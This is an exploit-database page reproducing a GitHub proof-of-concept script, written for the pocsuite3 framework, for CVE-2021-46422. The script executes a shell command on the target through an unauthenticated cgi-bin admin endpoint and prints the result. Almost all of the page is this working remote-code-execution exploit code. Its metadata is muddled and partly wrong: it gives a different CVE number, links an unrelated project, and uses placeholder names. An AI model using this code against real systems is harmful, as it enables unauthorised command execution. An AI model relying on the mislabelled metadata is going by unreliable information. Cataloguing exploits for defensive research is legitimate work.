Exploit database

GH-bf2f2a46b94ab161cb73ee9b67e9cf6f

awei507/cve-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-46422

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
awei507/cve-rceRevision 1ebb28cd31a1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2021-46422.py

Python · 3,286 bytes
from pocsuite3.api import (
    Output,
    POCBase,
    POC_CATEGORY,
    register_poc,
    requests,
    VUL_TYPE,
)

class KoreaRce(POCBase):
    vulID = "77777"  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = "1"  # 默认为1
    author = "7Seven"  # PoC作者的大名
    vulDate = "2022-7-13"  # 漏洞公开的时间,不知道就写今天
    createDate = "2022-7-13"  # 编写 PoC 的日期
    updateDate = "2022-7-13"  # PoC 更新的时间,默认和编写时间一样
    references = [""]  # 漏洞地址来源,0day不用写
    name = "cve-2020-6422 PoC"  # PoC 名称
    appPowerLink = "https://github.com/xuxueli/xxl-job"  # 漏洞厂商主页地址
    appName = "77777"  # 漏洞应用名称
    appVersion = "all"  # 漏洞影响版本
    vulType = VUL_TYPE.CODE_EXECUTION  # 漏洞类型,类型参考见 漏洞类型规范表
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    samples = [""]  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = ["requests"]  # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
    desc = """
                七七永远的神
            """  # 漏洞简要描述
    pocDesc = """
            """  # POC用法描述

    def _check(self):
        # 漏洞验证代码
        result = []
        full_url = f"{self.url}/cgi-bin/admin.cgi?Command=sysCommand&Cmd=if"
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate",
                   "DNT": "1", "Connection": "close", "Cache-Control": "max-age=0"}
        try:
            response = requests.get(full_url, headers=headers)
            res1 = response.text.split("[")[2]
            res = res1.split("]")[0]
            if "<CmdResult>" in response.text:
                print(f"[+]{self.url}的结果为\n{res}")
                result.append(self.url)
        except Exception:
            print(f"[-]{self.url}请求失败")
        finally:
            return result

    def _verify(self):
        # 验证模式 , 调用检查代码 ,
        result = {}
        res = self._check()  # res就是返回的结果列表
        if res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['Info'] = self.name
            result['VerifyInfo']['vul_url'] = self.url
            result['VerifyInfo']['vul_detail'] = self.desc
        return self.parse_verify(result)

    def _attack(self):
        # 攻击模式 , 就是在调用验证模式
        return self._verify()

    def parse_verify(self, result):
        # 解析认证 , 输出
        output = Output(self)
        # 根据result的bool值判断是否有漏洞
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output



# 其他自定义的可添加的功能函数
def other_fuc():
    pass

# 其他工具函数
def other_utils_func():
    pass


# 注册 DemoPOC 类 , 必须要注册
register_poc(KoreaRce)